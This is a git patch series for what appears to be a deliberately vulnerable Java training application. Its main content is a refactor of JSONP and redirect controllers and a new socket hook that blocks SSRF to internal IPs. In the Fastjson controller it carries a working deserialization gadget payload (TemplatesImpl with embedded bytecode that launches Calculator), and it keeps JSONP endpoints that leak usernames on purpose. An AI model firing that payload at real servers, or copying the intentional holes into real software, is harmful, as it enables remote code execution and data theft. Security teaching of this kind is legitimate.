diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 684ee253..80d06fc9 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -3,6 +3,7 @@
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 import com.alibaba.fastjson.parser.Feature;
+import com.alibaba.fastjson.parser.ParserConfig;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestBody;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -31,7 +32,6 @@ public static String Deserialize(@RequestBody String params) {
     }
 
     public static void main(String[] args) {
-
         // Open calc in mac
         String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
         JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/Jsonp.java
similarity index 76%
rename from src/main/java/org/joychou/controller/jsonp/JSONP.java
rename to src/main/java/org/joychou/controller/Jsonp.java
index e2dfc8eb..44394097 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -1,10 +1,10 @@
-package org.joychou.controller.jsonp;
+package org.joychou.controller;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 
-import com.netflix.ribbon.proxy.annotation.Http;
 import org.joychou.security.SecurityUtil;
+import org.joychou.util.LoginUtils;
 import org.springframework.http.MediaType;
 import org.springframework.security.web.csrf.CsrfToken;
 import org.springframework.web.bind.annotation.*;
@@ -15,8 +15,7 @@
 
 import javax.servlet.http.HttpServletRequest;
 import java.security.Principal;
-import java.util.HashMap;
-import java.util.Map;
+
 
 
 /**
@@ -26,22 +25,10 @@
 
 @RestController
 @RequestMapping("/jsonp")
-public class JSONP {
+public class Jsonp {
 
     private String callback = WebConfig.getBusinessCallback();
 
-    // get current login username
-    public static String getUserInfo2JsonStr(HttpServletRequest request) {
-        Principal principal = request.getUserPrincipal();
-
-        String username = principal.getName();
-
-        Map<String, String> m = new HashMap<>();
-        m.put("Username", username);
-
-        return JSON.toJSONString(m);
-    }
-
     /**
      * Set the response content-type to application/javascript.
      * <p>
@@ -50,7 +37,7 @@ public static String getUserInfo2JsonStr(HttpServletRequest request) {
     @RequestMapping(value = "/vuln/referer", produces = "application/javascript")
     public String referer(HttpServletRequest request) {
         String callback = request.getParameter(this.callback);
-        return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
+        return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
     }
 
     /**
@@ -67,20 +54,20 @@ public String emptyReferer(HttpServletRequest request) {
             return "error";
         }
         String callback = request.getParameter(this.callback);
-        return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
+        return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
     }
 
     /**
      * Adding callback or cback on parameter can automatically return jsonp data.
-     * http://localhost:8080/jsonp/vuln/advice?callback=test
-     * http://localhost:8080/jsonp/vuln/advice?_callback=test
+     * http://localhost:8080/jsonp/object2jsonp?callback=test
+     * http://localhost:8080/jsonp/object2jsonp?_callback=test
      *
      * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
      * Such as JSONOjbect or JavaBean. String type cannot be used.
      */
-    @RequestMapping(value = "/vuln/advice", produces = MediaType.APPLICATION_JSON_VALUE)
+    @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
     public JSONObject advice(HttpServletRequest request) {
-        return JSON.parseObject(getUserInfo2JsonStr(request));
+        return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
     }
 
 
@@ -112,7 +99,7 @@ public String safecode(HttpServletRequest request) {
             return "error";
         }
         String callback = request.getParameter(this.callback);
-        return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
+        return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
     }
 
 
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index d2b3b484..d16f0ebb 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -83,8 +83,8 @@ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse
             throws IOException{
         String url = request.getParameter("url");
         if (SecurityUtil.checkURL(url) == null) {
-            // Redirect to error page.
-            response.sendRedirect("https://test.joychou.org/error3.html");
+            response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+            response.getWriter().write("url forbidden");
             return;
         }
         response.sendRedirect(url);
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/security/Object2Jsonp.java
similarity index 93%
rename from src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
rename to src/main/java/org/joychou/security/Object2Jsonp.java
index 944a325b..6432616b 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
+++ b/src/main/java/org/joychou/security/Object2Jsonp.java
@@ -1,8 +1,7 @@
-package org.joychou.controller.jsonp;
+package org.joychou.security;
 
 import org.apache.commons.lang.StringUtils;
 import org.joychou.config.WebConfig;
-import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.beans.factory.annotation.Value;
@@ -25,14 +24,14 @@
  * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
  */
 @ControllerAdvice
-public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {
+public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice {
 
     private final String[] callbacks;
     private final Logger logger= LoggerFactory.getLogger(this.getClass());
 
 
     // method of using @Value in constructor
-    public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
+    public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
         super(callbacks);  // Can set multiple paramNames
         this.callbacks = callbacks;
     }
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index 2f1bcf0a..b678d598 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -63,8 +63,7 @@ static boolean checkSSRF(String url, int checkTimes) {
         try {
             do {
                 // 判断当前请求的URL是否是内网ip
-                Boolean bRet = isInnerIPByUrl(finalUrl);
-                if (bRet) {
+                if (isInnerIPByUrl(finalUrl)) {
                     logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
                     return false;  // 内网ip直接return，非内网ip继续判断是否有重定向
                 }
diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java
new file mode 100644
index 00000000..93ccbd9f
--- /dev/null
+++ b/src/main/java/org/joychou/util/LoginUtils.java
@@ -0,0 +1,21 @@
+package org.joychou.util;
+
+import com.alibaba.fastjson.JSON;
+
+import javax.servlet.http.HttpServletRequest;
+import java.security.Principal;
+import java.util.HashMap;
+import java.util.Map;
+
+public class LoginUtils {
+
+    // get current login username
+    public static String getUserInfo2JsonStr(HttpServletRequest request) {
+        Principal principal = request.getUserPrincipal();
+        String username = principal.getName();
+        Map<String, String> m = new HashMap<>();
+        m.put("Username", username);
+
+        return JSON.toJSONString(m);
+    }
+}

From fa48badb1edcbfb27fae61909b43545c0478d0b2 Mon Sep 17 00:00:00 2001
From: liergou <736540362@qq.com>
Date: Sat, 4 Apr 2020 02:27:05 +0800
Subject: [PATCH 15/38] =?UTF-8?q?=E5=A2=9E=E5=8A=A0socket=20hook=E6=A8=A1?=
 =?UTF-8?q?=E5=9D=97=20=20=E5=AE=9E=E7=8E=B0socket=E5=B1=82=E6=8B=A6?=
 =?UTF-8?q?=E6=88=AASSRF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../org/joychou/security/SSRFChecker.java     |  15 +-
 .../org/joychou/security/SecurityUtil.java    |  24 ++
 .../java/org/joychou/security/SocketHook.java |  25 ++
 .../joychou/security/SocketHookFactory.java   |  77 +++++
 .../org/joychou/security/SocketHookImpl.java  | 294 ++++++++++++++++++
 .../org/joychou/security/SocketHookUtils.java |  29 ++
 6 files changed, 463 insertions(+), 1 deletion(-)
 create mode 100644 src/main/java/org/joychou/security/SocketHook.java
 create mode 100644 src/main/java/org/joychou/security/SocketHookFactory.java
 create mode 100644 src/main/java/org/joychou/security/SocketHookImpl.java
 create mode 100644 src/main/java/org/joychou/security/SocketHookUtils.java

diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index b678d598..ef393074 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -5,6 +5,8 @@
 import java.net.URI;
 import java.net.URL;
 import java.util.ArrayList;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 import org.apache.commons.net.util.SubnetUtils;
 import org.joychou.config.WebConfig;
@@ -14,6 +16,7 @@
 class SSRFChecker {
 
     private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+    private final static Pattern IP_PATTERN = Pattern.compile("((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)");
 
     static boolean checkURLFckSSRF(String url) {
         if (null == url){
@@ -122,7 +125,7 @@ static boolean isInnerIPByUrl(String url) {
      * @param strIP ip字符串
      * @return 如果是内网ip，返回true，否则返回false。
      */
-    private static boolean isInnerIp(String strIP){
+     static boolean isInnerIp(String strIP){
 
         ArrayList<String> blackSubnets= WebConfig.getSsrfBlockIps();
 
@@ -176,4 +179,14 @@ private static String url2host(String url) {
         }
 
     }
+
+    /**
+     * 匹配ip
+     * @return
+     */
+     static String getIpFromStr(String ipStr){
+        Matcher matcher = IP_PATTERN.matcher(ipStr);
+        System.out.println(matcher.find());
+        return matcher.group();
+    }
 }
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 14cc397f..2cbe52ab 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -4,6 +4,7 @@
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
+import java.io.IOException;
 import java.io.UnsupportedEncodingException;
 import java.net.URI;
 import java.net.URLDecoder;
@@ -118,6 +119,29 @@ public static boolean checkSSRFWithoutRedirect(String url) {
         return !SSRFChecker.isInnerIPByUrl(url);
     }
 
+    /**
+     * @Author liergou
+     * @Description 基于Socket hook 进行SSRF检测拦截
+     * @Date 2:15 2020/4/4
+     * @Param []
+     * @return void
+     **/
+    public static void startSSRFHook() throws NoSuchFieldException, IOException {
+        SocketHook.startHook();
+    }
+
+    /**
+     * @Author liergou
+     * @Description 关闭Socket hook
+     * @Date 2:15 2020/4/4
+     * @Param []
+     * @return void
+     **/
+    public static void stopSSRFHook(){
+        SocketHook.stopHook();
+    }
+
+
 
     /**
      * Filter file path to prevent path traversal vulns.
diff --git a/src/main/java/org/joychou/security/SocketHook.java b/src/main/java/org/joychou/security/SocketHook.java
new file mode 100644
index 00000000..359e33f3
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHook.java
@@ -0,0 +1,25 @@
+package org.joychou.security;
+
+import java.io.IOException;
+import java.net.Socket;
+import java.net.SocketException;
+
+/**
+ * @Author liergou
+ * @Description Socket hook开关自如
+ * @Date 2:12 2020/4/4
+ **/
+class SocketHook {
+    static void startHook() throws NoSuchFieldException, IOException {
+        SocketHookFactory.initSocket();
+        SocketHookFactory.setHook(true);
+        try{
+            Socket.setSocketImplFactory(new SocketHookFactory());
+        }catch (SocketException ignored){
+        }
+    }
+
+    static void stopHook(){
+        SocketHookFactory.setHook(false);
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/SocketHookFactory.java b/src/main/java/org/joychou/security/SocketHookFactory.java
new file mode 100644
index 00000000..2dbe738f
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHookFactory.java
@@ -0,0 +1,77 @@
+package org.joychou.security;
+
+
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+/**
+ * @Author liergou
+ * @Description socket factory impl
+ * @Date 23:41 2020/4/3
+ * @Param
+ * @return
+ **/
+public class SocketHookFactory implements SocketImplFactory
+    {
+        private static SocketImpl   clazz;
+        private static Boolean isHook = false;
+
+        /**
+         * @Author liergou
+         * @Description switch hook
+         * @Date 23:42 2020/4/2
+         * @Param [set]
+         * @return void
+         **/
+        public static void setHook(Boolean set){
+            isHook = set;
+        }
+
+        /**
+         * @Author liergou
+         * @Description 初始化
+         * @Date 23:42 2020/4/2
+         * @Param []
+         * @return void
+         **/
+        public static synchronized void initSocket() throws NoSuchFieldException {
+            if ( clazz != null ) { return; }
+
+            Socket  socket = new Socket();
+            try{
+                Field implField = Socket.class.getDeclaredField("impl");
+                implField.setAccessible( true );
+                clazz = (SocketImpl) implField.get(socket);
+            }catch (NoSuchFieldException | IllegalAccessException e){
+                throw new RuntimeException("SocketHookFactory init failed!");
+            }
+
+            try {
+                socket.close();
+            }
+            catch ( IOException ignored)
+            {
+
+            }
+        }
+
+        public SocketImpl createSocketImpl() {
+
+            if(isHook) {
+                    try {
+                        return new SocketHookImpl(clazz);
+                    } catch (Exception e) {
+                        Logger.getLogger(SocketHookFactory.class.getName()).log(Level.WARNING, "hook 失败  请检查" );
+                        return clazz;
+                    }
+            }else{
+                return clazz;
+            }
+        }
+    }
diff --git a/src/main/java/org/joychou/security/SocketHookImpl.java b/src/main/java/org/joychou/security/SocketHookImpl.java
new file mode 100644
index 00000000..ec41ebac
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHookImpl.java
@@ -0,0 +1,294 @@
+package org.joychou.security;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * @Author liergou
+ * @Description socket impl
+ * @Date 23:39 2020/4/2
+ * @Param
+ * @return
+ **/
+public class SocketHookImpl extends SocketImpl implements SocketOptions
+{
+
+    private SocketImpl socketImpl = null;
+    private Method createImpl;
+    private Method connectHostImpl;
+    private Method connectInetAddressImpl;
+    private Method connectSocketAddressIMPL;
+    private Method bindImpl;
+    private Method listenImpl;
+    private Method acceptImpl;
+    private Method getInputStreamImpl;
+    private Method getOutputStreamImpl;
+    private Method availableImpl;
+    private Method closeImpl;
+    private Method shutdownInputImpl;
+    private Method shutdownOutputImpl;
+    private Method sendUrgentDataImpl;
+
+
+    /**
+     * @Author liergou
+     * @Description 初始化反射方法
+     * @Date 23:40 2020/4/2
+     * @Param [initSocketImpl]
+     * @return
+     **/
+    public SocketHookImpl(SocketImpl initSocketImpl) {
+
+        if ( initSocketImpl == null){
+            throw new RuntimeException("");
+            //TODO close hook
+        }
+
+        this.socketImpl = initSocketImpl;
+        final Class<?>  clazz = this.socketImpl.getClass();
+        Method[] allMethod = clazz.getDeclaredMethods();
+        createImpl = SocketHookUtils.findMethod( clazz,"create", new Class<?>[]{ boolean.class } );
+        connectHostImpl = SocketHookUtils.findMethod( clazz, "connect", new Class<?>[]{ String.class, int.class } );
+        connectInetAddressImpl = SocketHookUtils.findMethod( clazz, "connect", new Class<?>[]{ InetAddress.class, int.class } );
+        connectSocketAddressIMPL = SocketHookUtils.findMethod( clazz, "connect", new Class<?>[]{ SocketAddress.class, int.class } );
+        bindImpl = SocketHookUtils.findMethod( clazz, "bind", new Class<?>[]{ InetAddress.class, int.class } );
+        listenImpl = SocketHookUtils.findMethod( clazz, "listen", new Class<?>[]{ int.class } );
+        acceptImpl = SocketHookUtils.findMethod( clazz, "accept", new Class<?>[]{ SocketImpl.class } );
+        getInputStreamImpl = SocketHookUtils.findMethod( clazz, "getInputStream", new Class<?>[]{  } );
+        getOutputStreamImpl = SocketHookUtils.findMethod( clazz, "getOutputStream", new Class<?>[]{  } );
+        availableImpl = SocketHookUtils.findMethod( clazz, "available", new Class<?>[]{ } );
+        closeImpl = SocketHookUtils.findMethod( clazz, "close", new Class<?>[]{ } );
+        shutdownInputImpl = SocketHookUtils.findMethod( clazz, "shutdownInput", new Class<?>[]{ } );
+        shutdownOutputImpl = SocketHookUtils.findMethod( clazz, "shutdownOutput", new Class<?>[]{ } );
+        sendUrgentDataImpl = SocketHookUtils.findMethod( clazz, "sendUrgantData", new Class<?>[]{ int.class } );
+    }
+
+
+    /**
+     * socket base method impl
+     */
+    @Override
+    protected void create(boolean stream) throws IOException {
+            try
+            {
+                this.createImpl.invoke( this.socketImpl, stream);
+            }
+            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+
+    }
+
+    @Override
+    protected void connect(String host, int port) throws IOException {
+        Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "host=" + host + ",port=" + port );
+
+            try
+            {
+                this.connectHostImpl.invoke( this.socketImpl, host, port);
+            }
+            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+
+    }
+
+
+    @Override
+    protected void connect(InetAddress address, int port) throws IOException {
+            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "InetAddress=" + address.toString());
+
+            //start check SSRF
+            if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
+                throw new RuntimeException("Socket SSRF check failed. InetAddress:"+address.toString());
+            }
+            try
+            {
+                this.connectInetAddressImpl.invoke( this.socketImpl, address, port);
+            }
+            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+    }
+
+    @Override
+    protected void connect(SocketAddress address, int timeout) throws IOException {
+            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "SocketAddress=" + address.toString());
+            //start check SSRF
+            if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
+                throw new RuntimeException("Socket SSRF check failed. SocketAddress:"+address.toString());
+            }
+
+            try
+            {
+                this.connectSocketAddressIMPL.invoke( this.socketImpl, address, timeout);
+            }
+            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+    }
+
+    @Override
+    protected void bind(InetAddress host, int port) throws IOException {
+            try
+            {
+                this.bindImpl.invoke( this.socketImpl, host, port);
+            }
+            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+    }
+
+    @Override
+    protected void listen(int backlog) throws IOException {
+
+            try
+            {
+                this.listenImpl.invoke( this.socketImpl, backlog);
+            }
+            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+    }
+
+    @Override
+    protected void accept(SocketImpl s) throws IOException {
+
+            try
+            {
+                this.acceptImpl.invoke( this.socketImpl, s);
+            }
+            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+    }
+
+    @Override
+    protected InputStream getInputStream() throws IOException {
+        InputStream inStream = null;
+
+            try
+            {
+                inStream = (InputStream)this.getInputStreamImpl.invoke( this.socketImpl);
+            }
+            catch ( ClassCastException | InvocationTargetException | IllegalArgumentException | IllegalAccessException ex )
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+
+        return inStream;
+    }
+
+    @Override
+    protected OutputStream getOutputStream() throws IOException {
+        OutputStream outStream = null;
+
+            try
+            {
+                outStream = (OutputStream)this.getOutputStreamImpl.invoke( this.socketImpl);
+            }
+            catch ( ClassCastException | IllegalArgumentException | IllegalAccessException | InvocationTargetException ex )
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+
+        return outStream;
+    }
+
+    @Override
+    protected int available() throws IOException {
+        int result = -1;
+
+            try
+            {
+                result = (Integer)this.availableImpl.invoke( this.socketImpl);
+            }
+            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+
+        return result;
+    }
+
+    @Override
+    protected void close() throws IOException {
+            try
+            {
+                this.closeImpl.invoke( this.socketImpl);
+            }
+            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+    }
+
+    @Override
+    protected void shutdownInput() throws IOException {
+        try
+        {
+            this.shutdownInputImpl.invoke( this.socketImpl);
+        }
+        catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+        {
+            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+        }
+
+    }
+
+    @Override
+    protected void shutdownOutput() throws IOException {
+        try
+        {
+            this.shutdownOutputImpl.invoke( this.socketImpl);
+        }
+        catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+        {
+            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+        }
+
+    }
+
+    @Override
+    protected void sendUrgentData(int data) throws IOException {
+            try
+            {
+                this.sendUrgentDataImpl.invoke( this.socketImpl, data);
+            }
+            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+            {
+                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+            }
+    }
+
+    public void setOption(int optID, Object value) throws SocketException {
+        if ( null != this.socketImpl )
+        {
+            this.socketImpl.setOption( optID, value );
+        }
+    }
+
+    public Object getOption(int optID) throws SocketException {
+        return this.socketImpl.getOption( optID );
+    }
+
+    /**
+     * dont impl other child method now
+     * dont sure where will use it
+     **/
+
+
+}
diff --git a/src/main/java/org/joychou/security/SocketHookUtils.java b/src/main/java/org/joychou/security/SocketHookUtils.java
new file mode 100644
index 00000000..75d48707
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHookUtils.java
@@ -0,0 +1,29 @@
+package org.joychou.security;
+
+import java.lang.reflect.Method;
+
+public class SocketHookUtils {
+
+    /**
+     * @Author liergou
+     * @Description 轮询父类查找反射方法
+     * @Date 1:43 2020/4/4
+     * @Param [inputClazz, findName, args]
+     * @return java.lang.reflect.Method
+     **/
+    public static Method findMethod(Class<?> inputClazz, String findName ,Class<?>[] args){
+        Class<?> temp=inputClazz;
+        Method tmpMethod = null;
+        while(temp!=null){
+            try{
+                tmpMethod = temp.getDeclaredMethod(findName,args);
+                tmpMethod.setAccessible(true);
+                return tmpMethod;
+            }catch (NoSuchMethodException e){
+                temp=temp.getSuperclass();
+            }
+        }
+        return null;
+    }
+
+}

From 335bfef5cb34d2e7e0a6f822226c82c7a8b37b80 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Sat, 4 Apr 2020 23:39:27 +0800
Subject: [PATCH 16/38] fix hook socket's bug

---
 README.md                                     |   2 +-
 .../java/org/joychou/config/Constants.java    |   3 +-
 .../org/joychou/config/SafeDomainParser.java  |  20 +-
 .../java/org/joychou/config/WebConfig.java    |  66 ++--
 .../org/joychou/controller/CRLFInjection.java |   2 +-
 .../java/org/joychou/controller/CSRF.java     |   2 +-
 .../org/joychou/controller/CommandInject.java |   1 -
 .../java/org/joychou/controller/Cookies.java  |   7 +-
 .../java/org/joychou/controller/Cors.java     |   4 +-
 .../org/joychou/controller/Deserialize.java   |  10 +-
 .../java/org/joychou/controller/Fastjson.java |  10 +-
 .../org/joychou/controller/FileUpload.java    |  39 +--
 .../org/joychou/controller/GetRequestURI.java |  18 +-
 .../java/org/joychou/controller/IPForge.java  |  16 +-
 .../java/org/joychou/controller/Jsonp.java    |  10 +-
 .../java/org/joychou/controller/Login.java    |   2 +-
 .../org/joychou/controller/PathTraversal.java |   6 +-
 src/main/java/org/joychou/controller/Rce.java |  26 +-
 .../java/org/joychou/controller/SQLI.java     |  64 ++--
 .../java/org/joychou/controller/SSRF.java     |  62 ++--
 .../java/org/joychou/controller/SSTI.java     |   4 +-
 .../java/org/joychou/controller/SpEL.java     |  10 +-
 .../java/org/joychou/controller/Test.java     |   3 +-
 .../org/joychou/controller/URLRedirect.java   |  17 +-
 .../org/joychou/controller/URLWhiteList.java  |  67 ++--
 src/main/java/org/joychou/controller/XSS.java |  12 +-
 .../org/joychou/controller/XStreamRce.java    |   8 +-
 src/main/java/org/joychou/controller/XXE.java |  58 ++--
 .../controller/othervulns/ooxmlXXE.java       |  28 +-
 .../othervulns/xlsxStreamerXXE.java           |   6 +-
